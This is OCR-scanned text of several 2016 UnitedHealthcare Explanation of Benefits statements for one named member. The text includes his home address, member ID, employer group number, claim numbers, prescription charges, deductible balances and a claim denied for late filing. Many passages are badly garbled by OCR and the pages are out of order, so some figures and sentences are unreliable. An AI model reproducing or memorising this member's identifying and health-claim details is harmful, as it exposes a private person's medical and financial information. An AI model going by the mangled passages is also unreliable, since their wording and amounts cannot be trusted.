reviews of your claim have been completed. You or your authorized representative, such as a family member or physician, may appeal the decision by submitting comments, documents or other relevant infonnation to the appeal address referenced above. You may request copies (free of charge) of information relevant to your claim by contacting us at the above address. Availability of Consumer Assistance/Ombudsman Services: There may be other resources available to help you understand the appeals process. lf your plan is governed by ERISA, you can contact the Employee Benefits Security Administration at 1-866-444-EBSA (3272). If your plan is not governed by ERISA, you can contact the Department of Health and Human Services Health Insurance Assistance Team at 1-888-393-2789. Your state consumer assistance program may also be able to assist you at: · Texas Department of Insurance Consumer Protection (111-1A) 333 Guadalupe STD-EOB Use this EOB statement as a reference or retain as needed Page 2 of 4 000001025801469 I S VJ-20229"01 '092295-M0-16197-60311-AFUS 21SYCP United HealthCare Services, Inc. GREENSBORO SERVICE CENTER PO BOX 740809 ATLANTA, GA 30374-0802 UnitedHealthcare lI]) A Unil&fHaalh ~C'.ompany Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. DPS$$$PKG JEFFREY DAMUKAITIS 2201 WILLOW CREEK DR LITTLE ELM TX 75068-4917 1111111111,1,1,IuI•I1 • I111IIll11111•11 1111111111• 1 • 111IIII•11•11 July 15, 2016 Member/Patient lnfonnation Member/Patient: JEFFREY DAMUKAITIS Member ID: A838199653 Relationship: EE Group Name: RAYTHEON COMPANY Group #; 0201057 Explanation of Benefits Statement This is not a bill. Do not pay. This is to notify you that we processed your claim. Claims Summary Detailed claim information is located on the following page(s). Amount Billed ' , _ $300.00 This is the· total amo~nt that yoUJr provider biled for the services that were _provi9ed to you. Plan Discounts . , D9llar Amount 'Oe$~r!ptiQn -_:" jl $143.32 Your plan negotiates discounts with providers to save you money. Thiit amount may a~o include services that you are not responsible ~o pay. •' --.. ,; .. 1 Your P-lan Paid .. _ -.-:;,_ !, • $156.68 This is the portion oi the amount bilted that was paid by your plan. .;, f -To1al amount you owe the provider(s) i _ ff.'T..'.; _:: .:c~rr.~---J:..:. " The portiori of the Amount Billed you owe1th~ provid~((s). This arn.01.1rilf.dp,~~.not-.re~_ect~,ny.:,,., :-""7.--= pa~enl Y9U+may have____already made ~t ~e1tim, .yo~d-~ceived ~are. T:h,~tl~~~~IJ:l&Y: fn~*~~ y9ur~ _ deductlble,.,J» :ru!-Y..,coinsurance and/oi; QOO_fOVf:!red &b~rges . . This amoil.i:-.t9~s _[ioijng_4_~~any: _~ ·_ _ _ paYJ!1ents....m.adeJ~-tne s~bscribel'.'."._ lf a p~yi;nent was.:made dir,~¢1Yto..tba:.sJJ..bsJ.liber_:t,0!!ftt\J--= ·· s__ub§.mbfil:is~R9nsible for payifl9 the physician, facility _or_othfil...lle.aJ~p.1Qfe.ssiomtL 1. _. ~ ''. ~ -' --~--~ -~-·· ­ * V\Jhen coo~ination of benefits applies, this amount will include'pawents made to the su~criber. I --­ STD-EOB Page 1 of 4 Use this EOB statement as a reference or retain as needed 0000010258014 69 S V1-10305'02'050330-M0-11ro4-60311-AFUS 22SVCP UnitedHealthcare flf Al.Wlod-~c.n.,.,, United HealthCare Services;. Inc. GREENSBORO SERVICE vENTER January 04, 2016 PO BOX 7 40809 ATLANTA.., GA 3037 4-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Account Summary Summary of Deductible and Out of Pocket Plan Year: 2016 Annual (-)Applied to (=)Remaining Annual (-)Applied to (=)Remaining JEFFREY FAMILY Amount Date Balance Amount Date Balance Relationship: EE ,l~NE!Y'JORK l 0IN'l'1'El)VORK ,. -· $1,400.00 $0.00 $1,400.00 Deductible Deductible $700.00 $0.00 $700.00 Out of Pocket $10,000.00 $201.76 $9,798.24 Out of Pocket $5,000.00 $201.76 $4,798.24 OUT OF NElWORK 'I OOT OF NETWORK ' 4 -, , Deductible $2,800.00 $0.00 $2,800.00 Deductible $1,400.00 $0.00 $1,400.00 Out of Pocket $15,000.00 $0.00 $15,000.00 Out of Pocket $7,500.00 $0.00 $7,500.00 Definitions of Key Terms Applied to Date: The total amount of money applied to your deductible or out of pocket as of this EOB statement. Deductible: The deductible is the fixed dollar amount that you pay each year toward eligible health care services before your plan benefits are payable. Once the deductible has been met, the co-payment and/or coinsurance period of your plan may begin. Please refer to your plan documents for specific information regarding what services apply to the deductible. Plan Year. The dates your plan benefit maximums are applicable. Copay: A fee you pay each time you see a provider, receive a service, or fill a prescription. Out of Pocket This is the amount you pay before your plan benefit starts paying 100% for eligible health care services. Please refer to your plan documents for more information. STD-EOB Use this EOB statement as a reference or retain as needed Page 4 of 4 S Vt,10305'02"050329-M0-10004·60311-AFUS 22SYCP UnitedHealthcare IJJ Al>i•Hoolh ~~ United HealthCare Services;. Inc. January 04, 2016 GREENSBORO SERVICE 1.;ENTER PO BOX 7 40809 ATLANTA.,. GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your daim and benefit information. Consumer Protection (111-1A) 333 Guadalupe P.O. Box 149104 Austin, TX 78714 Toll-free telephone: 1-800-252-3439 Web site: www.texashealthoptions.com E-mail: [email protected] If we continue to deny the payment, coverage, or service requested or you do not receive a timely decision, you may be able to request an external review of your claim by an independent third party, who will review the denial and issue a final decision. Insurance fraud adds millions to the cost of health care. If services are listed which you did not receive or service you were told would be free, call 1-800-638-8884. Meet Your Needs Online At almost anytime day or night, you can review claims, check eligibility, locate a networx physician, request an ID card, refill prescriptions if eligible, obtain more information on EOB content and more! For immediate, secure self-service visit www.myuhc.com. Myuhc Registration You can register and begin using myuhc in the same session. Navigate to www.myuhc.com to register. The information required for registration is on your insurance ID card (first name, last name, member ID, group number and date of birth). Maintaining the privacy and security of individuals' personal information is very important to us at UnitedHealthcare. To protect your privacy, we implemented strict confidentiality practices. These practices include the ability to use a unique individual identifier. You may see the unique individual identifier on UnitedHealthcare correspondence, induding medical ID cards (if applicable), letters, explanation of benefits (EOBs), and provider remittance advices (PRAs). If you have any questions about the unique individual identifier or its use, please contact your customer care professional at the number shown at the top of this Statement. Please call the number included in this document or on the back of your ID card if you need diagnosis and/or treatment code information regarding the services referenced in this communication. STD-EOB Page 3 of 4 Use this EOB statement as a reference or retain as needed S VM0305"01"050328-M0-1e004-!I0311-AFUS 22:SYCP UnitedHealthcare l)j) A-i....,~ United HealthCare Seivices;. Inc. GREENSBORO SERVICE vENTER PO BOX 740809 January 04, 2016 ATLANTA.,_ GA 30374-0802 Phone: 1-o00-638-8884 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 953914867701 Patient Account Number: CAR PHARMACY CLM Your Itemized Res onsibilit to Provider"* Date(s) of Type of Service Notes* Amount Plan Your Pla n . Amount You Service Billed (-) Oiscou nts (-) I Paid Deductible (+) Copay (+) Coinsurance (-t-) Non Covered (=) Owe 01/01/2016 PRESCRIPTION FB $0.00 $0.00 DRUGS Claim Total: $0.00 $0.00 $0.00 $0.00 $201.76 $0.00 $0.00 $201.76 **This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment. Notes* FB -THIS CLAIM WAS PROCESSED BY THE PHARMACY DRUG BENEFIT PROGRAM. THIS ONLY SHOWS THE AMOUNT YOU PAID FOR THIS PRESCRIPTION. IT DOES NOT SHOW THE TOTAL COST OF THE PRESCRIPTION DRUG OR AMOUNT PAID BY THE PLAN. WE APPLIED THIS AMOUNT TO YOUR PLAN DEDUCTIBLE AND/OR OUT OF POCKET/COINSURANCE MAXIMUM. IF YOU HAVE QUESTIONS RELATED TO THIS PHARMACY CLAIM, PLEASE CONTACT YOUR PHARMACY DRUG BENEFIT PROGRAM. A review of this benefit determination may be requested by submitting your appeal to us in writing at the following address: UnitedHealthcare Appeals, P.O. Box 30432, Salt Lake City, UT 84130-0432. The request for your review must be made within 180 days from the date you receive this statement. If you request a review of your claim denial, we will complete our review no later than 30 days after we receive your request for review. If your plan is governed by ERISA, you may have the right to file a civil action under ERISA if all required reviews of your claim have been completed. You or your authorized representative, such as a family member or physician, may appeal the decision by submitting comments, documents or other relevant information to the appeal address referenced above. You may request copies (free of charge) of information relevant to your claim by contacting us at the above address. Availability of Consumer Assistance/Ombudsman Services: There may be other resources available to help you understand the appeals process. If your plan is governed by ERISA, you can contact the Employee Benefits Security Administration at 1-866-444-EBSA (3272). If your plan is not governed by ERISA, you can contact the Department of Health and Human Services Health Insurance Assistance Team at 1-888-393-2789. Your state consumer assistance program may also be able to assist you at: Texas Department of Insurance STD-EOB Use this EOB statement as a reference or retain as needed Page 2 of 4 00000087170:2925 I s V1-10 United HealthCare Services-'-Inc. GREENSBORO SERVICE vENTER PO BOX 740809 ATLANTA, GA 30374-0802 004MEOBSV2002007-03727 • 10 JEFFREY DAMUKAITIS 2201 WILLOW CREEK DRIVE LITTLE ELM, TX 75068 05'01'050327-M0-16004-60311-1\FUS 22SYCP · UnitedHealthcar~ ~ AIA!,ll!l!Heollh Group Col!ll)affl' Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. January 04, 2016 Member/Patient Information Member/Patient: JEFFREY DAMUKAITIS Member ID: A838199653 Relationship: EE Group Name: RAYTHEON COMPANY Group #: 0201057 Explanation of Benefits Jtatement This is not a bill. Do not pay. This is to notify youlthat we processed your claim. Claims Summary Detailed claim information is located bn the following page(s). ! ··Dollar Amount-Description ..:. i ,I . -­ Amount Billed ·, I -: . .. . ·· ·. · $0.00 This is the total amount that your provider billed for the services that were provided to ypu. Plan Discounts . . . .. i ·i 'i . $0.00 Your plan negotiates discounts with providers to; save you money. This amount may'also Include . services that you are not responsible to pay. , . · !, • ; · ·•· · · · i . . .$0.00 The portion.of.the.Amount Billed you owe the prpvider(s).· ThiS-amount does~not reflect any ... --':i payment you may have already. made at the tim~ ypu (eeelved,care:c .This.amount.Jnay.indu(fe yQur.~ deductible, co-pay, coinsurance and/or non ~v~red charge~, This ~mountdoes~notJn~Ji~.&IJYT•'" · _ :•.. ' payments made to.the subscribe_r:'". If a payme~t wa~·made directly tot.he S.!,l~~!E!f,-VC!!!.,ltji,!I,...,."..,., ... subscriber is.resp_onsible. for paying the physician, facility or other health care pm.,fessiQoaJ.__·_._,__:_-:: ' -..·.' * When coordin<1tion o(.b~n~fits ~pplies..,Jhis aniount,will Include payments m..&fo-the_sy~ci.J.b.ii.:_:­ , .I ... .. •• · •· I .. -. -.....,, -----· ·----..---· -­ STO-EOB Page 1 of 4 Use this EOB statement as a reference or retain as needed 000000871702925 I SWQ-1S468"02"0721M2-M0-10082-00311-AFUS 32SYMS UnitedHealthrare flllA-~C-0-,,, United HealthCare Services;.Inc. GREENSBORO SERVICE .._,ENTER March 22, 2016 PO BOX 740809 ATLANTA.,_ GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Account Summary Summary of Deductible and Out of Pocket Plan Year: 2015 Annual (-)Applied to (=) Remaining JEFFREY FAMILY Amount Date Balance Annual (-)Applied to (=) Remaining Amount Date Balance Relationship: EE l~~ ~ ORK ,.:fp,f~r'"-Y­ ,, ...,.... ~ ~r .,: .. IN NETWORK;;-, ~ Deductible $1 ,400.00 $700.00 $700.00 Deductible $700,00 $700.00 Met Out of Pocket $10,000.00 $6,265.59 $3,734.41 Out of Pocket $5,000.00 $4,902.65 $97.35 OUT OF NETWORK I OUT OF NETWORK !:!!;:_;:_ Deductible $2,800.00 $1,400.00 $1,400.00 Deductible $1,400.00 $1,400.00 Met Out of Pocket $15,000.00 $2,825.65 $12,174.35 Out of Pocket $7,500.00 $2,825.65 $4,674.35 Definitions of Key Terms Applied to Date: The total amount of money applfed to your deductible or out of pocket as of this EOB statement. Out of Pocket This is the amount you pay before your plan benefit starts paying 100% for eligible health care services. Please refer to your plan documents for more information. Deductible: The deductible is the flXed dollar amount that you pay each year toward eligible health care services before your plan benefits are payable. Once the deductible has been met, the co-payment and/or coinsurance period of your plan may begin. Please refer to your plan documents for specific information regarding what services apply to the deductible. Plan Vear. The dates your plan benefit maximums are applicable. STD-EOB Use this EOB statement as a reference or retain as needed Page 4 of 4 S WQ-15466'02"07211-11-M0-16082-E0311-AFUS 3:!SYMS UnitedHealthcare tJll A-~C..­ United HealthCare Services,,._Inc. March 22, 2016 GREENSBORO SERVICE 1..,ENTER PO BOX 740809 ATLANTA,. GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit infonnation. Availability of Consumer Assistance/Ombudsman Services: There may be other resources available to help you understand the appeals process. If your plan is governed by ERISA, you can contact the Employee Benefits Security Administration at 1-866-444-EBSA (3272). If your plan is not governed by ERISA, you can contact the Department of Health and Human Services Health Insurance Assistance Team at 1-888-393-2789. Your state consumer assistance program may also be able to assist you at: Texas Department of Insurance Consumer Protection (111-1A) 333 Guadalupe P.O. Box 149104 Austin, TX 78714 Toll-free telephone: 1-800-252-3439 Web site: www.texashealthoptions.com E-mail: [email protected] If we continue to deny the payment, coverage, or service requested or you do not receive a timely decision, you may be able to request an external review of your claim by an independent third party, who will review the denial and issue a final decision. Insurance fraud adds millions to the cost of health care. If services are listed which you did not receive or service you were told would be free, call 1-800-638-8884. Meet Your Needs Online At almost anytime ay or mg t, you tail review claims, check eligibility, locate a network physician, request an IDcarif,Teiilrprescriptions if eligible, obtain more infonnation on --­EOB content and more! For immediate, secure self-service visit www.myuhc.com. Myuhc Registration You can register and begin using myuhc in the same session. Navigate to www.myuhc.com to register. The information required for registration is on your insurance ID card (first name, last name, member ID, group number and date of birth). Maintaining the privacy and security of individuals' personal information is very important to us at UnitedHealthcare. To protect your privacy, we implemented strict confidentiality practices. These practices include the ability to use a unique individual identifier. You may see the unique individual identifier on UnitedHealthcare correspondence, including medical ID cards (if applicable), letters, explanation of benefits (EOBs), and provider remittance advices (PRAs). If you have any questions about the unique individual identifier or its use, please contact your customer care professional at the number shown at the top of this Statement. Please call the number included in this document or on the back of your ID card if you need diagnosis and/or treatment code information regarding the services referenced in this communication. STD-EOB Page 3 of 4 Use this EOB statement as a reference or retain as needed S W0-15-466'01•072940-M0-16082-00311-AFUS 32SYMS Unit.edHealthcare IJll•-°"'11°""""" United HealthCare Services.i.. Inc. GREENSBORO SERVICE vENTER March 22, 2016 PO BOX 740809 ATLANTA.,, GA 30374-0802 Phone: 1-o00-638-8884 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: METHODIST RICHARDSON Claim Number: 587165719201 Patient Account Number: RAVW3486 Date(s) of Type of Service Notes• Amount Plan I Your Plan 7 Amount You Service Billed (-) Discounts (-) ,;. Paid •· (=) Deauctible (-t-) Cuµay (+) Coinsurance (+) Non Covereo (=) Owe 11/30/2015-OP MISC. UP $264.00 $264.00 $0.00 12114/2015 SERVICES 11/30/2015-OP MISC. UP $331.25 $331.25 $0.00 $0.00 $0.00 $0.00 $0.00 12114/2015 SERVICES 11i30/2015-OP MISC. UP $582.00 $582.00 $0.00 $0.00 $0.00 $0.00 $0.00 12114/2015 SERVICES 11/30/2015 -OP MISC. UP $395.50 $395.50 $0.00 $0.00 $0.00 $0.00 $0.00 12114/2015 SERVICES 11/30/2015 -OP MISC. UP $815.25 $815.25 $0.00 $0.00 $0.00 $0.00 $0.00 $0.0 12114/2015 SERVICES Claim Total: $2,388.00 $2,388.00 $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 ... This total does not reflect any payments / copays you made at the time of service. Please wait for a provider bill before making a payment. Notes* UP -PAYMENT FOR THIS SERVICE IS DENIED BECAUSE THE CLAIM WAS NOT FILED ON TIME. IF YOU USED A NETWORK PROVIDER, YOU DON'T OWE ANYTHING. IF THIS IS AN ERROR THE PROVIDER MUST SEND PROOF OF TIMELY FILING. A review of this benefit determination may be requested by submitting your appeal to us in writing at the following address: UnitedHeatthcare Appeals, P.O. Box 30432, Salt Lake City, UT 84130-0432. The request for your review must be made within 180 days from the date you receive this statement. If you request a review of your claim denial, we will complete our review no later than 30 days after we receive your request for review. If your plan is governed by ERISA, you may have the right to file a civil action under ERISA if all required reviews of your claim have been completed. You or your authorized representative, such as a family member or physician, may appeal the decision by submitting comments, documents or other relevant information to the appeal address referenced above. You may request copies (free of charge) of infonnation relevant to your claim by contacting us at the above address. STD-EOB Use this EOB statement as a reference or retain as needed Page 2 of 4 000000936025981 United HealthCare Services,._ Inc. GREENSBORO SERVICE vENTER PO BOX 740809 ATLANTA, GA 30374-0802 swa .1 466"01'07:2939-MO,Hl082-60311-AFUS 32SYMS I~ AUN..i~!~~~ealthcar~ Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. JEFFREY DAMUKAITIS 2201 WILLOW CREEK DRIVE LITTLE ELM, TX 75068 Explanation of Benefits March 22, 2016 Member/Patient lnfonnation Member/Patient: JEFFREY DAMUKAITIS Member ID: A838199653 Relationship: EE Group Name: RAYTHEON COMPANY Group #: 0201057 tatement This is not a bill. Do not pay. This is to notify you that we processed your claim. Claims Sum~ ary Detailed claim information is located pn the following page(s). -.... .. --~.­ .._,,,., -"· -• • ,t Dollar Amount Description~--· _.-J,;,. · · •·-· • • --··---·--­ Amount Billed · 1 ., ,, , . .. • • " ;_' •· $2,388.00 This is the total amount that your p"?vider billed •for th,e services that were provid~d to you. ·' : ,· .. 1 . $2,388.00 Your Plan Paid $0.00 This is the portion of the amount billed that was paid by your plan. Total amount you owe the provider(s) · •t 1 -.---....,.~·-= ---· · ... "... · -·-.··-::­.:rhe portion·of the Amount Billed you owe the p~vider(s)..-T.his amount does not ~fleet ·aoy· __ ~ payment you mc!Y ~ave already.made at.the tim;e-you.receiv~_-ca~..T):lis ampu"l ·ri;1~Y.ingude you,r,::­deductible, _co-P.aY,.C(?in_surance and/or nqn cov~red charges."'-Thls..emount,does:l'}Ot m~lude Bl'JY., : ·­paymen!5 made to th~.subscriber"'. If a payme9t was.made ~irecUy \o.t~~ %_ub$Cfi~,£,~Y9.!J{lhe_ __:__:: subscriber is responsible for paying th~ physici~n. facility or otherhealth calJ!.PJU{§_sio.n.at_. -~-.. :· 4 • ,... --., If •• ·•. , -• · I • • ,-._ ---• • -.....-, -r,..._...._ • ---~----­ " When q;>ordinc1tion of benefits 5'PPlie~. this aqiount will in~.~de paymen~ m~~~ to.the su~b.~ .-~.· ~-:• .....-~ -~ ... STD-EOB Page 1 of 4 Use this EOB statement as a reference or retain as needed 0000009350259s1 S ~721"03"017886-M0-16089-0CB11-AFUS 22SYMS UnitedHealthcareIJllA-°"9'­ United HealthCare Services;.Inc. GREENSBORO SERVICE 1.,ENTER PO BOX 740809 March 29, 2016 ATLANTA.,_ GA 30374-0802 Phone: 1-o00-638-8884 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. Account Summary Summary of Deductible and Out of Pocket Plan Year: 2016 Annual (-)Applied to (=)Remaining Annual (-)Applled to (=)Remaining JEFFREY FAMILY Amount Date Balance Amount Date Balance Relationship: EE = ~ -~ INNElWORK -I ' IN N,1::lWORK ~ ::"'i Deductible $1,400.00 $700.00 $700.00 Deductible ! 100.00 $700.00 Met Out of Pocket $10,000.00 $3,445.42 $6,554.58 Out of Pocket $5,000.00 $3,445.42 $1,554.58 O~OF N!;TW~RK .....= s;. _.,. .....,::;__ OUTiOF NEJWORK 7­ =-., Deductible $2,800.00 $0.00 $2,800.00 Deductible $1,400.00 $577.00 $823.00 Out of Pocket $15,000.00 $0.00 $15,000.00 Out of Pocket $7,500.00 $0.00 $7,500.00 Definitions of Key Terms Applied to Date: The total amount of money applied to your deductible or out of pocket as of this EOB statement. Deductible: The deductible is the fixed dollar amount that you pay each year toward eligible health care services before your plan benefits are payable. Once the deductible has been met, the co-payment and/or coinsurance period of your plan may begin. Please refer to your plan documents for specific information regarding what services apply to the deductible. Plan Year. The dates your plan benefit maximums are applicable. Copay: A fee you pay each time you see a provider, receive a service, or fill a prescription. Out of Pocket This is the amount you pay before your plan benefit starts paying 100% for eligible health care services. Please refer to your plan documents for more information. STD-EOB Use this EOB statement as a reference or retain as needed Page 6 of 6 S WD-03721'03-017885•M0•1fl088•60311•AFUS 22SYMS UnitedHealthcare dA-~C.0,,.,. United HealthCare Services;.. Inc. March 29, 2016 GREENSBORO SERVICE '-'ENTER PO BOX 740809 ATLANTA.,, GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Consumer Protection (111-1A) 333 Guadalupe P.O. Box 149104 Austin, TX 78714 Toll-free telephone: 1-800-252-3439 Web site: www.texashealthoptions.com E-mail: [email protected] If we continue to deny the payment, coverage, or service requested or you do not receive a timely decision, you may be able to request an external review of your claim by an independent third party, who will review the denial and issue a final decision. Insurance fraud adds millions to the cost of health care. If services are listed which you did not receive or service you were told would be free, call 1-800-638-8884. Meet Your Needs Online At almost anytime day or night, you can review claims, check eligibility, locate a network physician, request an ID card, refill prescriptions if eligible, obtain more information on EOB content and more! For immediate, secure self-service visit www.myuhc.com. Myuhc Registration You can register and begin using fr1yuhc in t e same session. Navigate-to www.myuhc.com to register. The information required for regist[ation is on your insurance ID card (first name, last name, member ID, group number and date of birth). Maintaining the privacy and security of individuals' personal information is very important to us at UnitedHealthcare. To protect your privacy, we implemented strict confidentiality practices. These practices include the ability to use a unique individual identifier. You may see the unique individual identifier on UnitedHealthcare correspondence, including medical ID cards (if applicable), letters, explanation of benefits (EOBs), and provider remittance advices (PRAs). If you have any questions about the unique individual identifier or its use, please contact your customer care professional at the number shown at the top of this Statement. Please call the number included in this document or on the back of your ID card if you need diagnosis and/or treatment code information regarding the services referenced in this communication. STD-EOB Page 5 of 6 Use this EOB statement as a reference or retain as needed S WD-03721'02'017884-M0-16089-60311-AFUS 22SYMS UnitedHealthcareIWA-0....°"­ United HealthCare Services;. Inc. GREENSBORO SERVICE 1..,ENTER PO BOX 740809 March 29, 2016 ATLANTA.., GA 30374-0802 Phone: 1-o00-638-8884 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 962021531501 Patient Account Number: CAR PHARMACY CLM Your Itemized Res onsibilit to Provider"* Date(s) of Type of Service Notes* Amount Plan [ Your Plan Amount You Service Billed (-) Discounts (-) . Pal~-Deductible (+) Copay (+) Coinsurance (+) Non Covered (~) Owe ..This total does not reflect any payments / copays you made at the time of service. Please wait for a provider bill before making a payment. Notes* FB -THIS CLAIM WAS PROCESSED BY THE PHARMACY DRUG BENEFIT PROGRAM. THIS ONLY SHOWS THE AMOUNT YOU PAID FOR THIS PRESCRIPTION. IT DOES NOT SHOWTHE TOTAL COST OF THE PRESCRIPTION DRUG OR AMOUNT PAID BY THE PLAN. VI/E APPLIED THIS AMOUNT TO YOUR PLAN DEDUCTIBLE AND/OR OUT OF POCKET/COINSURANCE MAXIMUM. IF YOU HAVE QUESTIONS RELATED TO THIS PHARMACY CLAIM, PLEASE CONTACT YOUR PHARMACY DRUG BENEFIT PROGRAM. A review of this benefit determination may be requested by submitting your appeal to us in writing at the following address: UnitedHealthcare Appeals, P.O. Box 30432, Salt Lake City, UT 84130-0432. The request for your review must be made within 180 days from the date you receive this statement. If you request a review of your claim denial, we will complete our review no later than 30 days after we receive your request for review. If your plan is governed by ERISA, you may have the right to file a civil action under ERISA if all required reviews of your claim have been completed. You or your authorized representative, such as a family member or physician, may appeal the decision by submitting comments, documents or other relevant information to the appeal address referenced above. You may request copies (free of charge) of information relevant to your claim by contacting us at the above address. Availability of Consumer Assistance/Ombudsman Services: There may be other resources available to help you understand the appeals process. If your plan is governed by ERISA, you can contact the Employee Benefits Security Administration at 1-866-444-EBSA (3272). If your plan is not governed by ERISA, you can contact the Department of Health and Human Services Health Insurance Assistance Team at 1-888-393-2789. Yourstate consumer assistance program may also be able to assist you at: Texas Department of Insurance STD-EOB Use this EOB statement as a reference or retain as needed Page 4 of 6 000000941682033 S WO.Q3721'02"017883-M0-16089-00311-AFUS 22SYMS UnitedHealthr.are ,A-0..,,ea,...,,. United HealthCare Services,,_Inc. GREENSBORO SERVICE vENTER March 29, 2016 PO BOX 740809 ATLANTA.a. GA 30374-0802 Have more questions about your claim? Phone: 1-o00-63~8884 Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 961945701401 Patient Account Number: CAR PHARMACY CLM Date(s) of Service Type of Service Notes• Amount Billed H Plan Discounts (-) °)'our Plan Paid . ' '("') Ded1.,ctiole Your Itemized Res onsibllit to Provider-• An10L1nt You (+) Copay (+) Coim,ur.rnce (+) Non Covered (=) Owe 03/25/2016 PRESCRIPTION DRUGS Claim Total: FB $0.00 $0.00 $0.00 $0,00 $0-00 $0.00 $0,00 $7.00 $0.00 $0.00 $7.00 '"'This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment. Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 962021530901 Patient Account Number: CAR PHARMACY CLM Date(s) of Type of Service Notes* Amount Plan Your Plan ­Service Billed (-) Discounts (-) i Paid (c) 03/27/2016 PRESCRIPTION FB $0.00 $0.00 $0.00 DRUGS Claim Total: $0.00 $0.00 $0.00 STD-EOB Page 3 of 6 Use this EOB statement as a reference or retain as needed United HealthCare Services;... Inc. . GREENSBORO SERVICE \_;ENTER PO BOX 740809 ATLANTA.,, GA 3037 4-0802 Phone: 1-o00-638-8884 S WD-037211l11l17882-MCMS069-00311 -AFUS 22SYMS '111 United.Healthcare ui"-IA<>""-' March 29, 2016 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information_ Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 961672413201 Patient Account Number: CAR PHARMACY CLM Date(s) of Type of Service Notes• Service Amount Billed (-) Plan ;'VourPfil,rJ. Discounts (-)I.­Paid !{=) I I Your Itemized Res onsibility to Provider"* Amount You Deductible (..-) Copay (+) Coinsurance (+) Non Covered(-) Owe $0.00 $211 .18 $0.00 $0.00 03/23/2016 PRESCRIPTION FB $0.00 $0.00 $0.00 DRUGS Claim Total: $0.00 $0.00 $0.00 $0.00 $211.18 $0.00 $0.00 •*This total does not reflect any payments I copays you made at the time of service. Please wait for a provider bill before making a payment. Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 961744454201 Patient Account Number: CAR PHARMACY CLM _ Your Itemized Res onsibilit to Provider"* Date(s) of Type of Service Notes* Amount Plan Your .Plan Amount You Service Billed (-) Discounts (-) .. Paid . Deductiole (+) Copay (+) Coinsurance (+) Non Covered (=) Owe 03/24/2016 PRESCRIPTION FB $0.00 $0.00 $0.00 DRUGS Claim Total: $0.00 $0,00 $0.00 $0.00 $7.00 $0.00 $0.00 $7.00 **This total does not reflectany payments I copays you made at the time of service. Please wait for a provider bill before making a payment. STD-EOB Page 2 of 6 Use this EOB statement as a reference or retain as needed United HealthCare Services,.i. Inc. GREENSBORO SERVICE 1...ENTER PO BOX 740809 ATLANTA, GA 30374-0802 I S W0-03721-01 '017881-M0-16089-60311-AFUS 21SYMS UnitedHealthcare Ill) AUni!edlleallh Im-!' ~V Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. DPS$$$PKG JEFFREY DAMUKAITIS 2201 WILLOW CREEK DR LITTLE ELM TX 75068-4917 11111 11 IllI1111 11I 1111111111111 •111l I I I 111 •11 111 I11111 1111II I11I1 March 29, 2016 Member/Patient lnfonnation Member/Patient: JEFFREY DAMUKAITIS Member ID: A838199653 Relationship: EE Group Name: RAYTHEON COMPANY Group#: 0201057 Explanation of Benefits Statement This is not a bill. Do not pay. This is to notify you that we processed your claim. Claims Summary Detailed claim information is located on the following page(s). -~ I ' Amount Billed .. C . ; • . .. ,a ­ $0.00 -This is the total amount 1tlat yol!Jr provider biUed' for the services that were "provlq~ to you. • ' ' . • ·• ·-4­ Plan Discounts · · --., ·· • 1 • , -, , ~ • ,i, , $0,0Q Your plan negotiates <lisoounts with providers to save_you\money. This a'moun('1'a!yialso inc!1.19e .:!i '1 1 services that you are not responsible to pay, '? 1 :: , ' · '.-~~ ~:'...:J . :· · ·· 1': Your Plan Paid ·, · .. . . . $0.00 . This Is the portion of the,·amouot bnled that was\patd by your plan.· .. r,; _ =-- =Total amount youaowa,.the=ptovider(s) , . _ _ -~ --The portion of the Amount Billed-you.owe the prpvider.(s)._Jh15·amount does no~fle9t any _ -­., $230'.43-=-Payment you maY:,tiayE!,c.~lr,_eady made.at.the.-tirne__you.re_ceived care.-This am~un~!)'l~i) nclude your­ . _ -~-deductible, 00:,pa.y;_cqi_~_gmce and/or. non.covered cb..arg~s.,.t:111s amount. does not:11}ciude any ~ , _. · · " · · . · payments..made.JoJhe._subscribe~.-If a payment was_made dire.ctly to the:.subscC!il5eY. yo_u/the · :J.. ::-=---= ---.-· subscriber is. responstb(eftor paying the physici~n, facility orotber._tle ..a!lb ~ ,professioJJ.~ · · ·--~ -:-:=--· _.,_ -,,. "~ -~ coi;,-Jdlija_tion-®,~~~~ts appftes, toJs ~io_uiiiw~t _(og__y~g~~~~e=\!?;the su~Ji~ r;, STO-EOB Page 1 of 6 Use this EOB statement as a reference or retain as needed 000000941682033 BB-00599'02'047018•MO-16067-00311-AFUS 12SN UnitedHealthcare flllA-~C,,,.,.,, United HealthCare Services;. Inc. GREENSBORO SERVICE vENTER March 07, 2016 PO BOX 740809 ATLANTA.,_ GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Account Summary Summary of Deductible and Out of Pocket Plan Year: 2016 AnnualJEFFREY Amount Relationship: EE (-)Applied to Date (=)Remaining Balance FAMILY IN NETWORK Annual Amount (-)Applied to Date (=)Remaining Balance ... IN NETWORK Deductible $1,400.00 $700.00 $700.00 Deductible $700.00 